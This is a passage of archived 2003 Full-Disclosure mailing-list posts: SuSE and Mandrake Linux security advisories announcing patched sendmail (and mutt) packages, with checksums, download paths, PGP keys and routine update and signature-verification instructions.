9.1/SRPMS/mutt-1.4.1i-1.1mdk.src.rpm Mandrake Linux 9.1/PPC: e9029a9b2dca01e71d9f8a5f6a3663ef ppc/9.1/RPMS/mutt-1.4.1i-1.1mdk.ppc.rpm b836f11d978e3236ad909d703009df16 ppc/9.1/SRPMS/mutt-1.4.1i-1.1mdk.src.rpm ________________________________________________________________________ Bug IDs fixed (see https://qa.mandrakesoft.com for more information): ________________________________________________________________________ To upgrade automatically, use MandrakeUpdate. The verification of md5 checksums and GPG signatures is performed automatically for you. If you want to upgrade manually, download the updated package from one of our FTP server mirrors and upgrade with "rpm -Fvh *.rpm". A list of FTP mirrors can be obtained from: http://www.mandrakesecure.net/en/ftp.php Please verify the update prior to upgrading to ensure the integrity of the downloaded package. You can do this with the command: rpm --checksig All packages are signed by MandrakeSoft for security. You can obtain the GPG public key of the Mandrake Linux Security Team from: https://www.mandrakesecure.net/RPM-GPG-KEYS Please be aware that sometimes it takes the mirrors a few hours to update. You can view other update advisories for Mandrake Linux at: http://www.mandrakesecure.net/en/advisories/ MandrakeSoft has several security-related mailing list services that anyone can subscribe to. Information on these lists can be obtained by visiting: http://www.mandrakesecure.net/en/mlist.php If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.7 (GNU/Linux) mQGiBDlp594RBAC2tDozI3ZgQsE7XwxurJCJrX0L5vx7SDByR5GHDdWekGhdiday L4nfUax+SeR9SCoCgTgPW1xB8vtQc8/sinJlMjp9197a2iKM0FOcPlkpa3HcOdt7 WKJqQhlMrHvRcsivzcgqjH44GBBJIT6sygUF8k0lU6YnMHj5MPc/NGWt8wCg9vKo P0l5QVAFSsHtqcU9W8cc7wMEAJzQsAlnvPXDBfBLEH6u7ptWFdp0GvbSuG2wRaPl hynHvRiE01ZvwbJZXsPsKm1z7uVoW+NknKLunWKB5axrNXDHxCYJBzY3jTeFjsqx PFZkIEAQphLTkeXXelAjQ5u9tEshPswEtMvJvUgNiAfbzHfPYmq8D6x5xOw1IySg 2e/LBACxr2UJYCCB2BZ3p508mAB0RpuLGukq+7UWiOizy+kSskIBg2O7sQkVY/Cs iyGEo4XvXqZFMY39RBdfm2GY+WB/5NFiTOYJRKjfprP6K1YbtsmctsX8dG+foKsD LLFs7OuVfaydLQYp1iiN6D+LJDSMPM8/LCWzZsgr9EKJ8NXiyrQ6TGludXggTWFu ZHJha2UgU2VjdXJpdHkgVGVhbSA8c2VjdXJpdHlAbGludXgtbWFuZHJha2UuY29t PohWBBMRAgAWBQI5aefeBAsKBAMDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmK6LAKCy /NInDsaMSI+WHwrquwC5PZrcnQCeI+v3gUDsNfQfiKBvQSANu1hdulqIRgQQEQIA BgUCOtNVGQAKCRBZ5w3um0pAJJWQAKDUoL5He+mKbfrMaTuyU5lmRyJ0fwCgoFAP WdvQlu/kFjphF740XeOwtOqIRgQQEQIABgUCOu8A6QAKCRBynDnb9lq3CnpjAJ4w Pk0SEE9U4r40IxWpwLU+wrWVugCdFfSPllPpZRCiaC7HwbFcfExRmPaIRgQQEQIA BgUCPI+UAwAKCRDniYrgcHcf8xK5AKCm/Mq8qP8GE0o1hEX22QsJMZwH5gCfZ72H 8TacOb3oAmBdprf+K6gkdOiIRgQQEQIABgUCOtOieAAKCRCv2bZyU0yB80MeAJ9K +jXt0cKuaUonRU+CRGetk6t9dgCfTRRL6/puOKdD6md70+K5EBBSvsG0OE1hbmRy YWtlIExpbnV4IFNlY3VyaXR5IFRlYW0gPHNlY3VyaXR5QG1hbmRyYWtlc29mdC5j b20+iFcEExECABcFAjyPnuUFCwcKAwQDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmFi+ AJsHhohgnU3ik4+gy3EdFlB2i/MBoACg6lHn5cnVvTcmgNccWxeNxLLZI5e5AQ0E OWnn7xAEAOQlTVY4TiNo5V/iP0J1xnqjqlqZsU7yEBKo/gZz6/+hx75RURe1ebiJ 9F779FQbpJ9Epz1KLSXvq974rnVb813zuGdmgFyk+ryA/rTR2RQ8h+EoNkwmATzR xBXVJb57fFQjxOu4eNjZAtfII/YXb0uyXXrdr5dlJ/3eXrcO4p0XAAMFBACCxo6Z 269s+A4v8C6Ui12aarOQcCDlV8cVG9LkyatU3FNTlnasqwo6EkaP572448weJWwN 6SCXVl+xOYLiK0hL/6Jb/O9Agw75yUVdk+RMM2I4fNEi+y4hmfMh2siBv8yEkEvZ jTcl3TpkTfzYky85tu433wmKaLFOv0WjBFSikohGBBgRAgAGBQI5aefvAAoJEJqo 0NAiRYqYid0AoJgeWzXrEdIClBOSW5Q6FzqJJyaqAKC0Y9YI3UFlE4zSIGjcFlLJ EJGXlA== =yGlX - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+icfWmqjQ0CJFipgRAs5NAKCGU2Dgc9fWqQZWfWQmNh0PaS1oFQCg5ZDH Lvi3mJqE0BCTwYxMG957jlA= =ug5E -----END PGP SIGNATURE----- From draht at suse.de Tue Apr 1 17:56:15 2003 From: draht at suse.de (Roman Drahtmueller) Date: Tue, 1 Apr 2003 18:56:15 +0200 (MEST) Subject: [Full-Disclosure] SuSE Security Announcement: sendmail (SuSE-SA:2003:023) Message-ID: -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: sendmail, sendmail-tls Announcement-ID: SuSE-SA:2003:023 Date: Tuesday, April 1st 2003 18:45 MEST Affected products: 7.1, 7.2, 7.3, 8.0, 8.1, 8.2 SuSE Linux Database Server, SuSE Linux Enterprise Server 7, 8 SuSE Linux Firewall on CD/Admin host SuSE Linux Connectivity Server SuSE Linux Office Server Vulnerability Type: local/remote privilege escalation Severity (1-10): 7 SuSE default package: yes (until SuSE Linux 8.0 and SLES7) Cross References: http://www.cert.org/advisories/CA-2003-12.html Content of this advisory: 1) security vulnerability resolved: sendmail, sendmail-tls problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - glibc - vnc - openssl 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information sendmail is the most widely used mail transport agent (MTA) in the internet. A remotely exploitable buffer overflow has been found in all versions of sendmail that come with SuSE products. These versions include sendmail-8.11 and sendmail-8.12 releases. sendmail is the MTA subsystem that is installed by default on all SuSE products up to and including SuSE Linux 8.0 and the SuSE Linux Enterprise Server 7. The vulnerability was discovered by Michal Zalewski. It is not related to the vulnerability found by ISS in the first week of March as announced by SuSE Security in SuSE Security Announcement SuSE-SA:2003:013 (CERT Announcement ID CA-2003-07). The impact is believed to be a local root compromise with the possibility of a remote compromise. Even though the remote nature of the vulnerability is not confirmed, we believe that it is safe to assume that the vulnerability may be remotely exploitable. The nature of the flaw is a stack overflow in a function that is called frequently throughout the sendmail source code. The function is used for processing email addresses. There is no known workaround for this vulnerability other than using a different MTA. The vulnerability is triggered by an email message sent through the sendmail MTA subsystem. In that respect, it is different from commonly known bugs that occur in the context of an open TCP connection. By consequence, the vulnerability also exists if email messages get forwarded over a relay that itself does not run a vulnerable MTA. This specific detail and the wide distribution of sendmail in the internet causes this vulnerability to be considered a flaw of major severity. We recommend to install the update packages that are provided for download at the locations listed below. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. SPECIAL INSTALL INSTRUCTIONS: ============================== After performing the update, it is necessary to restart all running instances of sendmail using the command "rcsendmail restart" as root. Intel i386 Platform: SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/sendmail-8.12.6-109.i586.rpm bb987c277374db2cf5ec81b7abe9a476 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/sendmail-8.12.6-109.i586.patch.rpm f90dc4e6f63b5c4e368e5db2fe7d09be source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/sendmail-8.12.6-109.src.rpm dd838b1089f6686a1107e6d8159b1f98 SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/n1/sendmail-8.12.3-75.i386.rpm 9e6949e973085ae3b628c52cadcc2c9e patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/n1/sendmail-8.12.3-75.i386.patch.rpm dac55a8afcb2487b8b80549b9a4d7b38 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/sendmail-8.12.3-75.src.rpm f6e8297e885d367a73ff9010a6cbb297 SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/n1/sendmail-8.11.6-164.i386.rpm 7591a1d397e161225b4d594bcfc5bb02 ftp://ftp.suse.com/pub/suse/i386/update/7.3/sec2/sendmail-tls-8.11.6-166.i386.rpm 52c213438e8782af09a4395d402d1fea source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/sendmail-8.11.6-164.src.rpm a7b6f85673913089758f0ef0208aac6a ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/sendmail-tls-8.11.6-166.src.rpm 96cbfc4f2d85bdae71196ee80a4ebbd3 SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/n1/sendmail-8.11.3-108.i386.rpm b107d5a44b234222de7e5fcb7998c192 ftp://ftp.suse.com/pub/suse/i386/update/7.2/sec2/sendmail-tls-8.11.3-112.i386.rpm 78a987bd0a38d067a8cffd6c6003abd8 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/sendmail-8.11.3-108.src.rpm 0a86a2d3158110479c44c6b8a09f2bb6 ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/sendmail-tls-8.11.3-112.src.rpm acf234a4fa14d9d078df10cd774da0ce SuSE-7.1: ftp://ftp.suse.com/pub/suse/i386/update/7.1/n1/sendmail-8.11.2-45.i386.rpm abec9a5d08d89cabc662708b38cadfad ftp://ftp.suse.com/pub/suse/i386/update/7.1/sec2/sendmail-tls-8.11.2-47.i386.rpm 36ab02484b69d9f6ac9d58b78cc0569d source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/sendmail-8.11.2-45.src.rpm e7e267fbb800277472f797f351796c6d ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/sendmail-tls-8.11.2-47.src.rpm 83b8fae134f192c53fa32c2d73f8dc8c Sparc Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n1/sendmail-8.11.6-65.sparc.rpm f3a9cff90e3ac9493bcab36b11dc692c ftp://ftp.suse.com/pub/suse/sparc/update/7.3/sec2/sendmail-tls-8.11.6-65.sparc.rpm 63c14d646d8046df26c2899c0886bb24 source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/sendmail-8.11.6-65.src.rpm 7f01e6aa454231f35f6ee50958bb6f29 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/sendmail-tls-8.11.6-65.src.rpm e9086795f386471e6b2476febb419aa0 AXP Alpha Platform: SuSE-7.1: Limited package building resources are delaying the availiability of update packages for the SuSE Linux 7.1 for Alpha distribution. PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n1/sendmail-8.11.6-123.ppc.rpm 1dd1154f1b9ede1dc003be26919b4d23 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/sec2/sendmail-tls-8.11.6-122.ppc.rpm a83a7f0885deb049a5a63d8114e47af4 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/sendmail-8.11.6-123.src.rpm 2a199a60d825c8d3d2a1514fb58aea59 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/sendmail-tls-8.11.6-122.src.rpm 621c390fbb8c44ffb1764d369c096d3f SuSE-7.1: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n1/sendmail-8.11.2-34.ppc.rpm c1657f4dbc2f4967fb3ca04c17e2f1f3 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/sec2/sendmail-tls-8.11.2-38.ppc.rpm 7f564cc83d85970cd7c0f61896c916e6 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/sendmail-8.11.2-34.src.rpm bd749453da2ff7513f09798d8b0b2e56 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/sendmail-tls-8.11.2-38.src.rpm 1c347e9052b1b7dd02ae6630c56445db ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - glibc SuSE Security is working on glibc updates for the RPC XDR integer overflow security problem in glibc. The central function of the glibc package in a Linux system requires extensive testing of the update packages. The update packages will be provided for download at the usual location and publically announced as soon as the testing is completed successfully. - vnc VNC (Virtual Network Computing) uses a weak cookie generation process which can be exploited by an attacker to bypass authentication. New packages are currently being tested and will be available on our FTP servers soon. - openssl A paper regarding remote timing attacks against OpenSSL has been published by researchers of the Stanford University. It is possible to extract the private RSA key used by services using OpenSSL by observing their timing behavior. Fixed packages will be available on our FTP servers soon. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. ===================================================================== SuSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- Roman Drahtm?ller, SuSE Security. - -- - - | Roman Drahtm?ller // "You don't need eyes to see, | SuSE Linux AG - Security Phone: // you need vision!" | N?rnberg, Germany +49-911-740530 // Maxi Jazz, Faithless | - - -----BEGIN PGP SIGNATURE----- Version: 2.6.3in Charset: noconv iQEVAwUBPonCaHey5gA9JdPZAQHVjQgAmVxPZOj3YOGkPYHvAOxIWd6LI29BcbtF 7OYY9j7qofdZdHmAjYS/tW9SveuhoOzWNrZYWMKUSpFZoy5hkqYkVa9MPtTgKRST +Yle2PM2KrNzvUdEYeNypD4feE7qZKmO3XVub5j53bPYEa6dOWCrF7UrOv1LPnGE x7Ffn9eYQW09Xqs9xp5GSJevz7qN2KT5XS76/XWqQgc3Pv8BXEAYZTISe8xk6dOc vjgQx7AcmZBLVV3fl+hF4OgTgT0vBcDxta8t1Fm0YexP2h/ObKBWvo8pV4gDAmBT esitAhzgU0dbEl3JkueOjqLs7JM09MESi/tqu2aOM1EgL/onSJi3Xw== =x4bK -----END PGP SIGNATURE----- From security at linux-mandrake.com Tue Apr 1 18:14:13 2003 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: 1 Apr 2003 17:14:13 -0000 Subject: [Full-Disclosure] MDKSA-2003:042 - Updated sendmail packages fix local and remote vulnerability Message-ID: <20030401171413.4076.qmail@updates.mandrakesoft.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: sendmail Advisory ID: MDKSA-2003:042 Date: April 1st, 2003 Affected versions: 8.2, 9.0, 9.1, Corporate Server 2.1 ________________________________________________________________________ Problem Description: Michal Zalweski discovered a vulnerability in sendmail versions earlier than 8.12.9 in the address parser, which performs insufficient bounds checking in certain conditions due to a char to int conversion. This vulnerability makes it poissible for an attacker to take control of sendmail and is thought to be remotely exploitable, and very likely locally exploitable. Updated packages are available with patches applied (the older versions), and the new fixed version is available for Mandrake Linux 9.1 users. ________________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0161 http://www.cert.org/advisories/CA-2003-12.html ________________________________________________________________________ Updated Packages: Corporate Server 2.1: 936bc5c0c0f8ea6c25bf72e446de299c corporate/2.1/RPMS/sendmail-8.12.6-3.3mdk.i586.rpm eec9e33317e3a83c7937e2d52b8a4d1d corporate/2.1/RPMS/sendmail-cf-8.12.6-3.3mdk.i586.rpm f7dfb57bb4b1c4aa62730dbda7f3d369 corporate/2.1/RPMS/sendmail-devel-8.12.6-3.3mdk.i586.rpm d08964d47957e529f676f793a24377f8 corporate/2.1/RPMS/sendmail-doc-8.12.6-3.3mdk.i586.rpm bbb8ff5ea8fa361acb659c656b51e022 corporate/2.1/SRPMS/sendmail-8.12.6-3.3mdk.src.rpm Mandrake Linux 8.2: 1c0af110218318e5808b668b93300c81 8.2/RPMS/sendmail-8.12.1-4.3mdk.i586.rpm 47e33874a99e9ca6f01fe30245601732 8.2/RPMS/sendmail-cf-8.12.1-4.3mdk.i586.rpm 0a6a2cafa619120290f7a13008a76d6e 8.2/RPMS/sendmail-devel-8.12.1-4.3mdk.i586.rpm 804ca3677444d79591dda2943b982344 8.2/RPMS/sendmail-doc-8.12.1-4.3mdk.i586.rpm a3ca71deb8ce1bee26450b37c2599d86 8.2/SRPMS/sendmail-8.12.1-4.3mdk.src.rpm Mandrake Linux 8.2/PPC: 2a046fc0faf7a98a0e13c92eb6d873ad ppc/8.2/RPMS/sendmail-8.12.1-4.3mdk.ppc.rpm 8fd523e0f2acd7243be280ec2caccbc8 ppc/8.2/RPMS/sendmail-cf-8.12.1-4.3mdk.ppc.rpm 16c77c7037d5481244adc2ffb79ef1ee ppc/8.2/RPMS/sendmail-devel-8.12.1-4.3mdk.ppc.rpm 0974d0f876c572d728e92615cc43a17b ppc/8.2/RPMS/sendmail-doc-8.12.1-4.3mdk.ppc.rpm a3ca71deb8ce1bee26450b37c2599d86 ppc/8.2/SRPMS/sendmail-8.12.1-4.3mdk.src.rpm Mandrake Linux 9.0: 936bc5c0c0f8ea6c25bf72e446de299c 9.0/RPMS/sendmail-8.12.6-3.3mdk.i586.rpm eec9e33317e3a83c7937e2d52b8a4d1d 9.0/RPMS/sendmail-cf-8.12.6-3.3mdk.i586.rpm f7dfb57bb4b1c4aa62730dbda7f3d369 9.0/RPMS/sendmail-devel-8.12.6-3.3mdk.i586.rpm d08964d47957e529f676f793a24377f8 9.0/RPMS/sendmail-doc-8.12.6-3.3mdk.i586.rpm bbb8ff5ea8fa361acb659c656b51e022 9.0/SRPMS/sendmail-8.12.6-3.3mdk.src.rpm Mandrake Linux 9.1: 232b421e807ce785d62968c86beb0330 9.1/RPMS/sendmail-8.12.9-1.1mdk.i586.rpm 866fdcc317c10edda1e7627a1d738b1d 9.1/RPMS/sendmail-cf-8.12.9-1.1mdk.i586.rpm 6d5ac7e3833f599ea1e6567b3e084841 9.1/RPMS/sendmail-devel-8.12.9-1.1mdk.i586.rpm cb642ab772b9f9cdf7a5a0003f3871e6 9.1/RPMS/sendmail-doc-8.12.9-1.1mdk.i586.rpm 0188091a674ce41d037dab6a8ed2ebc4 9.1/SRPMS/sendmail-8.12.9-1.1mdk.src.rpm Mandrake Linux 9.1/PPC: 95526c7c57716fc2bc10c3b7e1dc8195 ppc/9.1/RPMS/sendmail-8.12.9-1.1mdk.ppc.rpm 4055fb1535090054d4371786a39642ec ppc/9.1/RPMS/sendmail-cf-8.12.9-1.1mdk.ppc.rpm 8436c32ccecc0e4ba80e3baaec1fec87 ppc/9.1/RPMS/sendmail-devel-8.12.9-1.1mdk.ppc.rpm e9d0f08231de33de41824abd139eba71 ppc/9.1/RPMS/sendmail-doc-8.12.9-1.1mdk.ppc.rpm 0188091a674ce41d037dab6a8ed2ebc4 ppc/9.1/SRPMS/sendmail-8.12.9-1.1mdk.src.rpm ________________________________________________________________________ Bug IDs fixed (see https://qa.mandrakesoft.com for more information): ________________________________________________________________________ To upgrade automatically, use MandrakeUpdate. The verification of md5 checksums and GPG signatures is performed automatically for you. If you want to upgrade manually, download the updated package from one of our FTP server mirrors and upgrade with "rpm -Fvh *.rpm". A list of FTP mirrors can be obtained from: http://www.mandrakesecure.net/en/ftp.php Please verify the update prior to upgrading to ensure the integrity of the downloaded package. You can do this with the command: rpm --checksig All packages are signed by MandrakeSoft for security. You can obtain the GPG public key of the Mandrake Linux Security Team from: https://www.mandrakesecure.net/RPM-GPG-KEYS Please be aware that sometimes it takes the mirrors a few hours to update. You can view other update advisories for Mandrake Linux at: http://www.mandrakesecure.net/en/advisories/ MandrakeSoft has several security-related mailing list services that anyone can subscribe to. Information on these lists can be obtained by visiting: 